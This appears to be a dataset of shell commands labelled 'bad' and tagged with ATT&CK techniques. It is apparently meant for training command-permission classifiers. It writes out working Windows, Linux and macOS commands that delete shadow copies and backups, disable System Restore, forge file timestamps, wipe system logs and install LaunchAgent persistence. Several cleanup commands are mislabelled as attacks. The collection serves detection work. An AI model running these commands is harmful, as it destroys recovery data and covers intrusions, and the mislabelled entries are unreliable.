cowWhySo/permission-command-corpus huggingface dataset:
Command: Get-WmiObject Win32_Shadowcopy | ForEach-Object {$_.Delete();}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1490
Platform: windows
ATT&CK tags: T1490
Source rule: Windows - Delete Volume Shadow Copies via WMI with PowerShell
Notes: Deletes Windows Volume Shadow Copies with PowerShell code and Get-WMIObject.
This technique is used by numerous ransomware families such as Sodinokibi/REvil.
Executes Get-WMIObject. Shadow copies can only be created on Windows server or Windows 8, so upon execution
there may be no output displayed.
Command: del /s /f /q c:\*.VHD c:\*.bac c:\*.bak c:\*.wbcat c:\*.bkf c:\Backup*.* c:\backup*.* c:\*.set c:\*.win c:\*.dsk
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1490
Platform: windows
ATT&CK tags: T1490
Source rule: Windows - Delete Backup Files
Notes: Deletes backup files in a manner similar to Ryuk ransomware. Upon exection, many "access is denied" messages will appear as the commands try
to delete files from around the system.
Command: wbadmin delete systemstatebackup -keepVersions:0
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1490
Platform: windows
ATT&CK tags: T1490
Source rule: Windows - wbadmin Delete systemstatebackup
Notes: Deletes the Windows systemstatebackup using wbadmin.exe. This technique is used by numerous ransomware families. This may only be successful on server platforms that have Windows Backup enabled.
Command: schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1490
Platform: windows
ATT&CK tags: T1490
Source rule: Windows - Disable the SR scheduled task
Notes: Use schtasks.exe to disable the System Restore (SR) scheduled task
Command: schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /enable >nul 2>&1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1490
Platform: windows
ATT&CK tags: T1490
Source rule: Windows - Disable the SR scheduled task
Notes: Use schtasks.exe to disable the System Restore (SR) scheduled task
Command: reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t "REG_DWORD" /d "1" /f reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t "REG_DWORD" /d "1" /f reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v "DisableConfig" /t "REG_DWORD" /d "1" /f reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v "DisableSR" /t "REG_DWORD" /d "1" /f
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1490
Platform: windows
ATT&CK tags: T1490
Source rule: Disable System Restore Through Registry
Notes: Modify the registry of the currently logged in user using reg.exe via cmd console to disable system restore on the computer. 
See how remcos RAT abuses this technique- https://www.virustotal.com/gui/file/2d7855bf6470aa323edf2949b54ce2a04d9e38770f1322c3d0420c2303178d91/details
Command: reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /f >nul 2>&1 reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /f >nul 2>&1 reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v "DisableConfig" /f >nul 2>&1 reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v "DisableSR" /f >nul 2>&1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1490
Platform: windows
ATT&CK tags: T1490
Source rule: Disable System Restore Through Registry
Notes: Modify the registry of the currently logged in user using reg.exe via cmd console to disable system restore on the computer. 
See how remcos RAT abuses this technique- https://www.virustotal.com/gui/file/2d7855bf6470aa323edf2949b54ce2a04d9e38770f1322c3d0420c2303178d91/details
Command: vssadmin resize shadowstorage /For=C: /On=C: /MaxSize=20%
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1490
Platform: windows
ATT&CK tags: T1490
Source rule: Windows - vssadmin Resize Shadowstorage Volume
Notes: Adversaries generally try to Resize Shadowstorage Volume using vssadmin.exe to avoid the shadow volumes being made again. This technique is typically found used by adversaries during a ransomware event and a precursor to deleting the shadowstorage.
Command: sc sdset VSS D:(D;;GA;;;NU)(D;;GA;;;WD)(D;;GA;;;AN)S:(AU;FA;GA;;;WD)(AU;OIIOFA;GA;;;WD)
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1490
Platform: windows
ATT&CK tags: T1490
Source rule: Modify VSS Service Permissions
Notes: This atomic test alters the security settings of the Volume Shadow Copy Service (VSS) by modifying its permissions, potentially impacting system recovery operations. The specific permissions set by the command are as follows:
- Deny Generic All (GA) permissions to Network Users (NU)
- Deny GA permissions to Everyone (WD)
- Deny GA permissions to Anonymous (AN)
- Allow Full Access (FA) and Generic All (GA) permissions to Everyone (WD) in System ACL (SACL)
- Allow Object Inherit and Inherit Only (
Command: sc sdset VSS D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;LC;;;BU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1490
Platform: windows
ATT&CK tags: T1490
Source rule: Modify VSS Service Permissions
Notes: This atomic test alters the security settings of the Volume Shadow Copy Service (VSS) by modifying its permissions, potentially impacting system recovery operations. The specific permissions set by the command are as follows:
- Deny Generic All (GA) permissions to Network Users (NU)
- Deny GA permissions to Everyone (WD)
- Deny GA permissions to Anonymous (AN)
- Allow Full Access (FA) and Generic All (GA) permissions to Everyone (WD) in System ACL (SACL)
- Allow Object Inherit and Inherit Only (
Command: sudo tmutil disable
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1490
Platform: macos
ATT&CK tags: T1490
Source rule: Disable Time Machine
Notes: Disables Time Machine which is Apple's automated backup utility software. Attackers can use this to prevent backups from occurring and hinder the victim's ability to recover from any damage.
Command: sudo tmutil enable
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1490
Platform: macos
ATT&CK tags: T1490
Source rule: Disable Time Machine
Notes: Disables Time Machine which is Apple's automated backup utility software. Attackers can use this to prevent backups from occurring and hinder the victim's ability to recover from any damage.
Command: "delete shadows all" | diskshadow.exe
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1490
Platform: windows
ATT&CK tags: T1490
Source rule: Windows - Delete Volume Shadow Copies via Diskshadow
Notes: Deletes Windows Volume Shadow Copies via Diskshadow binary. This technique is used by numerous ransomware families such as Crytox. The binary is present by default in Windows Server operating systems (since Windows Server 2008). Upon execution, it will delete all shadow copies of the server.
Command: touch -a -t 197001010000.00 #{target_filename}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1070.006
Platform: linux,macos
ATT&CK tags: T1070.006
Source rule: Set a file's access timestamp
Notes: Stomps on the access timestamp of a file
Command: rm -f #{target_filename}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1070.006
Platform: linux,macos
ATT&CK tags: T1070.006
Source rule: Set a file's access timestamp
Notes: Stomps on the access timestamp of a file
Command: touch -m -t 197001010000.00 #{target_filename}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1070.006
Platform: linux,macos
ATT&CK tags: T1070.006
Source rule: Set a file's modification timestamp
Notes: Stomps on the modification timestamp of a file
Command: NOW=$(date +%m%d%H%M%Y) date 010100001971 touch #{target_filename} date "$NOW" stat #{target_filename}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1070.006
Platform: linux,macos
ATT&CK tags: T1070.006
Source rule: Set a file's creation timestamp
Notes: Stomps on the create timestamp of a file

Setting the creation timestamp requires changing the system clock and reverting.
Sudo or root privileges are required to change date. Use with caution.
Command: touch #{target_file_path} touch -acmr #{reference_file_path} #{target_file_path}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1070.006
Platform: linux,macos
ATT&CK tags: T1070.006
Source rule: Modify file timestamps using reference file
Notes: Modifies the `modify` and `access` timestamps using the timestamps of a specified reference file.

This technique was used by the threat actor Rocke during the compromise of Linux web servers.
Command: rm -f #{target_file_path}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1070.006
Platform: linux,macos
ATT&CK tags: T1070.006
Source rule: Modify file timestamps using reference file
Notes: Modifies the `modify` and `access` timestamps using the timestamps of a specified reference file.

This technique was used by the threat actor Rocke during the compromise of Linux web servers.
Command: Get-ChildItem "#{file_path}" | % { $_.CreationTime = "#{target_date_time}" }
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1070.006
Platform: windows
ATT&CK tags: T1070.006
Source rule: Windows - Modify file creation timestamp with PowerShell
Notes: Modifies the file creation timestamp of a specified file. This technique was seen in use by the Stitch RAT.
To verify execution, use File Explorer to view the Properties of the file and observe that the Created time is the year 1970.
Command: Get-ChildItem "#{file_path}" | % { $_.LastWriteTime = "#{target_date_time}" }
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1070.006
Platform: windows
ATT&CK tags: T1070.006
Source rule: Windows - Modify file last modified timestamp with PowerShell
Notes: Modifies the file last modified timestamp of a specified file. This technique was seen in use by the Stitch RAT.
To verify execution, use File Explorer to view the Properties of the file and observe that the Modified time is the year 1970.
Command: Get-ChildItem "#{file_path}" | % { $_.LastAccessTime = "#{target_date_time}" }
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1070.006
Platform: windows
ATT&CK tags: T1070.006
Source rule: Windows - Modify file last access timestamp with PowerShell
Notes: Modifies the last access timestamp of a specified file. This technique was seen in use by the Stitch RAT.
To verify execution, use File Explorer to view the Properties of the file and observe that the Accessed time is the year 1970.
Command: import-module "#{file_path}\timestomp.ps1" timestomp -dest "#{file_path}\kxwn.lock"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1070.006
Platform: windows
ATT&CK tags: T1070.006
Source rule: Windows - Timestomp a File
Notes: Timestomp kxwn.lock.

Successful execution will include the placement of kxwn.lock in #{file_path} and execution of timestomp.ps1 to modify the time of the .lock file. 

[Mitre ATT&CK Evals](https://github.com/mitre-attack/attack-arsenal/blob/master/adversary_emulation/APT29/CALDERA_DIY/evals/data/abilities/defensive-evasion/4a2ad84e-a93a-4b2e-b1f0-c354d6a41278.yml)
Command: SetFile -m #{target_date} #{target_filename}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1070.006
Platform: macos
ATT&CK tags: T1070.006
Source rule: MacOS - Timestomp Date Modified
Notes: Stomps on the modification timestamp of a file using MacOS's SetFile utility
Command: try{ Set-Date -Date (Get-Date).AddDays(#{days_to_modify}) Add-Content "$env:APPDATA\slipDays.bak" #{days_to_modify} } catch {exit 1}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1070.006
Platform: windows
ATT&CK tags: T1070.006
Source rule: Event Log Manipulations- Time slipping via Powershell
Notes: Changes the system time on the computer to a time that you specify. It involves altering the system’s clock or adjusting the dates of files, affecting timestamp integrity within Event Logs. This technique can disrupt the sequence of logged events, complicating incident analysis and forensics. 
Reference - 
https://detect.fyi/event-log-manipulations-1-time-slipping-55bf95631c40
https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/set-date?view=powershell-7.4
Command: if(Test-Path "$env:APPDATA\slipDays.bak" ){ foreach($line in (get-content $env:APPDATA\slipDays.bak)){ Set-Date -Date (Get-Date).AddDays(-$line) } rm "$env:APPDATA\slipDays.bak" }
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1070.006
Platform: windows
ATT&CK tags: T1070.006
Source rule: Event Log Manipulations- Time slipping via Powershell
Notes: Changes the system time on the computer to a time that you specify. It involves altering the system’s clock or adjusting the dates of files, affecting timestamp integrity within Event Logs. This technique can disrupt the sequence of logged events, complicating incident analysis and forensics. 
Reference - 
https://detect.fyi/event-log-manipulations-1-time-slipping-55bf95631c40
https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/set-date?view=powershell-7.4
Command: sudo rm -rf #{syslog_path} if [ -d /var/audit ] ; then sudo rm -rf #{macos_audit_path} ; fi
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1070.002
Platform: macos,linux
ATT&CK tags: T1070.002
Source rule: rm -rf
Notes: Delete system and audit logs
Command: rm -rf /var/log/messages rm -rf /var/log/security
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1070.002
Platform: linux
ATT&CK tags: T1070.002
Source rule: rm -rf
Notes: Delete messages and security logs
Command: sudo log erase --all sudo log erase --ttl #Deletes only time-to-live log content
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1070.002
Platform: macos
ATT&CK tags: T1070.002
Source rule: Delete log files using built-in log utility
Notes: This test deletes main log datastore, inflight log data, time-to-live data(TTL), fault and error content
Command: sudo truncate -s 0 #{system_log_path} #size parameter shorthand
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1070.002
Platform: macos
ATT&CK tags: T1070.002
Source rule: Truncate system log files via truncate utility
Notes: This test truncates the system log files using the truncate utility with (-s 0) parameter which sets file size to zero, thus emptying the file content
Command: truncate -s 0 /var/log/messages #size parameter shorthand truncate --size=0 /var/log/security #size parameter
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1070.002
Platform: linux
ATT&CK tags: T1070.002
Source rule: Truncate system log files via truncate utility (freebsd)
Notes: This test truncates the system log files using the truncate utility with (-s 0 or --size=0) parameter which sets file size to zero, thus emptying the file content
Command: sudo cat /dev/null > #{system_log_path} #truncating the file to zero bytes sudo dd if=/dev/zero bs=1000 count=5 of=#{system_log_path} #log file filled with null bytes(zeros)
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1070.002
Platform: macos
ATT&CK tags: T1070.002
Source rule: Delete log files via cat utility by appending /dev/null or /dev/zero
Notes: The first sub-test truncates the log file to zero bytes via /dev/null and the second sub-test fills the log file with null bytes(zeroes) via /dev/zero, using cat utility
Command: cat /dev/null > /var/log/messages #truncating the file to zero bytes cat /dev/zero > /var/log/messages #log file filled with null bytes(zeros)
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1070.002
Platform: linux
ATT&CK tags: T1070.002
Source rule: Delete log files via cat utility by appending /dev/null or /dev/zero (freebsd)
Notes: The first sub-test truncates the log file to zero bytes via /dev/null and the second sub-test fills the log file with null bytes(zeroes) via /dev/zero, using cat utility
Command: sudo find /var/log -name '#{system_log_name1}*' -exec rm {} \; #using "rm" execution sudo find /var/log -name "#{system_log_name2}*" -exec shred -u -z -n 3 {} \; #using "shred" execution sudo find /var/log -name "#{system_log_name3}*" -exec unlink {} \; #using "unlink" execution
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1070.002
Platform: macos
ATT&CK tags: T1070.002
Source rule: System log file deletion via find utility
Notes: This test finds and deletes the system log files within /var/log/ directory using various executions(rm, shred, unlink)
Command: sudo echo '' > #{system_log_path}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1070.002
Platform: macos
ATT&CK tags: T1070.002
Source rule: Overwrite macOS system log via echo utility
Notes: This test overwrites the contents of system log file with an empty string using echo utility
Command: echo '' > /var/log/messages
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1070.002
Platform: linux
ATT&CK tags: T1070.002
Source rule: Overwrite FreeBSD system log via echo utility
Notes: This test overwrites the contents of system log file with an empty string using echo utility
Command: sudo log -f /var/log/system.log | : > /var/log/system.log
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1070.002
Platform: macos
ATT&CK tags: T1070.002
Source rule: Real-time system log clearance/deletion
Notes: This test reads real-time system log file and writes empty string to it, thus clearing the log file without tampering with the logging process
Command: sudo unlink #{system_log_path}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1070.002
Platform: macos
ATT&CK tags: T1070.002
Source rule: Delete system log files via unlink utility
Notes: This test deletes the system log file using unlink utility
Command: unlink /var/log/messages
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1070.002
Platform: linux
ATT&CK tags: T1070.002
Source rule: Delete system log files via unlink utility (freebsd)
Notes: This test deletes the messages log file using unlink utility
Command: sudo shred -u -z -n 3 #{system_log_path}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1070.002
Platform: macos
ATT&CK tags: T1070.002
Source rule: Delete system log files using shred utility
Notes: This test overwrites the contents of the log file with zero bytes(-z) using three passes(-n 3) of data, and then delete the file(-u) securely
Command: sudo srm #{system_log_path} #system log file deletion sudo srm -r #{system_log_folder} #recursive deletion of log files
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1070.002
Platform: macos
ATT&CK tags: T1070.002
Source rule: Delete system log files using srm utility
Notes: This test securely deletes the system log files individually and recursively using the srm utility.
Install srm using Homebrew with the command: brew install khell/homebrew-srm/srm
Refer: https://github.com/khell/homebrew-srm/issues/1 for installation
Command: osascript -e 'do shell script "rm #{system_log_path}" with administrator privileges'
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1070.002
Platform: macos
ATT&CK tags: T1070.002
Source rule: Delete system log files using OSAScript
Notes: This test deletes the system log file using osascript via "do shell script"(sh/bash by default) which in-turn spawns rm utility, requires admin privileges
Command: osascript -e 'tell application "Finder" to delete POSIX file "#{system_log_path}"'
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1070.002
Platform: macos
ATT&CK tags: T1070.002
Source rule: Delete system log files using Applescript
Notes: This test deletes the system log file using applescript using osascript via Finder application
Note: The user may be prompted to grant access to the Finder application before the command can be executed successfully as part of TCC(Transparency, Consent, and Control) Framework.
Refer: https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive
Command: sudo rm #{journal_folder}/* #physically deletes the journal files, and not just their content sudo journalctl --vacuum-time=0 #clears the journal while still keeping the journal files in place
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1070.002
Platform: linux
ATT&CK tags: T1070.002
Source rule: Delete system journal logs via rm and journalctl utilities
Notes: The first sub-test deletes the journal files using rm utility in the "/var/log/journal/" directory and the second sub-test clears the journal by modifiying time period of logs that should be retained to zero.
Command: echo 0> /var/spool/mail/#{username}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1070.002
Platform: linux
ATT&CK tags: T1070.002
Source rule: Overwrite Linux Mail Spool
Notes: This test overwrites the Linux mail spool of a specified user. This technique was used by threat actor Rocke during the exploitation of Linux web servers.
Command: echo 0> #{log_path}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1070.002
Platform: linux
ATT&CK tags: T1070.002
Source rule: Overwrite Linux Log
Notes: This test overwrites the specified log. This technique was used by threat actor Rocke during the exploitation of Linux web servers.
Command: if [ "/var/log/secure" != "#{log_path}" ] ; then rm -f #{log_path} ; fi
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1070.002
Platform: linux
ATT&CK tags: T1070.002
Source rule: Overwrite Linux Log
Notes: This test overwrites the specified log. This technique was used by threat actor Rocke during the exploitation of Linux web servers.
Command: if [ ! -d ~/Library/LaunchAgents ]; then mkdir ~/Library/LaunchAgents; fi; sudo cp #{path_malicious_plist} ~/Library/LaunchAgents/#{plist_filename} sudo launchctl load -w ~/Library/LaunchAgents/#{plist_filename}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1543.001
Platform: macos
ATT&CK tags: T1543.001
Source rule: Launch Agent
Notes: Create a plist and execute it
Command: sudo launchctl unload ~/Library/LaunchAgents/#{plist_filename} sudo rm ~/Library/LaunchAgents/#{plist_filename}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1543.001
Platform: macos
ATT&CK tags: T1543.001
Source rule: Launch Agent
Notes: Create a plist and execute it
Command: sudo cp #{script_location} #{script_destination} sudo touch /private/var/db/emondClients/#{empty_file}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1543.001
Platform: macos
ATT&CK tags: T1543.001
Source rule: Event Monitor Daemon Persistence
Notes: This test adds persistence via a plist to execute via the macOS Event Monitor Daemon.
Command: sudo rm #{script_destination} sudo rm /private/var/db/emondClients/#{empty_file}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1543.001
Platform: macos
ATT&CK tags: T1543.001
Source rule: Event Monitor Daemon Persistence
Notes: This test adds persistence via a plist to execute via the macOS Event Monitor Daemon.
Command: sudo cp #{path_malicious_plist} /Library/LaunchAgents/#{plist_filename} launchctl load -w /Library/LaunchAgents/#{plist_filename}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1543.001
Platform: macos
ATT&CK tags: T1543.001
Source rule: Launch Agent - Root Directory
Notes: Create a plist and execute it
Command: launchctl unload /Library/LaunchAgents/#{plist_filename} sudo rm /Library/LaunchAgents/#{plist_filename} sudo rm /tmp/T1543_001_atomicredteam.txt
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1543.001
Platform: macos
ATT&CK tags: T1543.001
Source rule: Launch Agent - Root Directory
Notes: Create a plist and execute it